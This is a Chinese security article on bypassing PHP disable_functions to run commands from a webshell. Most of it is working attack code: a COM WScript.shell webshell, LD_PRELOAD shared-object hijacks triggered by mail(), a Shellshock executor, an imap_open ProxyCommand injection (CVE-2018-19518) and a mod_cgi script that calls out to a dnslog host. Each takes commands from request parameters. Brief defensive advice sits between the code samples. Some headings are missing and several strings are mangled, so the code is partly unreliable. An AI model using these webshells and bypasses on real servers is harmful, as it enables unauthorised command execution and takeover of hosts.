随着安全防护能力的提升,在渗透测试的过程中总会遇到阻碍,今天来看看PHP webshell无法执行命令该怎么解决,以及如何防御这些绕过手段,做到未雨绸缪。
-
寻找没有被禁用的函数 -
Windows中调用COM组件执行命令 -
Linux系统通过LD_PRELOAD加载自定义的动态库 -
利用Bash破壳(CVE-2014-6271)漏洞改变环境限制 -
利用imap_open()函数的特性绕过 -
通过mod_cgi 模式绕过php.ini的限制执行脚本
PHP中执行命令的函数有:
环境要求:
<?php
$command = $_GET['cmd'];
$wsh = **new** COM('WScript.shell'); // 生成一个COM对象
Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
-
Windows的COM组件可能会被用来绕过UAC、disable_functions等,我们需要检查PHP的配置文件中com.allow_dcom是否为false。 -
删除php/ext/下的php_com_dotnet.dll,防止被恶意利用。
什么是LD_PRELOAD?
3.1 利用mail函数劫持getuid()
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int geteuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}
<?php
echo "<p> <b>example</b>:
http://test.com/exp.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/exp.so
</p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path))
. "</p>";
unlink($out_path);
?>
3.2 劫持启动函数
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '0';
}
}
// executive command
system(cmdline);
}
<?php
echo "<p> <b>example</b>:
http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
</p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path))
. "</p>";
unlink($out_path);
?>
-
这个方法需要上传so文件和php脚本,如果正确配置open_basedir,限制目录的读写、执行权限可以防范这种攻击。
环境要求:
<?php
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
-
利用imap_open函数的特性绕过(CVE-2018-19518)。
-
安装了PHP的imap扩展。 -
php.ini中开启 imap.enable_insecure_rsh选项为On。
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echot" . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . "|base64t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or
var_dump("nnError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
-
如果业务没有用到imap相关的函数可以在php.ini添加禁用函数:imap_open()、imap_mail()、imap_rimap() -
升级PHP版本,官方针对7.1.x在7.1.25版本发布时修复了 CVE-2018-19518 漏洞。 -
利用Apache mod_cgi 模式绕过 php.ini 中的限制。
AddHandler cgi-script .x
Python.x内容如下:
\#!F:\\Python38\\python.exe
import os
os.system("ping hbztiu.dnslog.cn")\#参数改为想要执行的命令
当我们的服务器被遭受了上面的攻击后应该如何排查处置呢?
六. 总结
未知攻焉知防,作为安全人员我们需要了解新的攻击方法,也需要了解怎么去防范这种攻击。攻防相互促进,才能更上一层楼。
文章来源:酒仙桥六号部队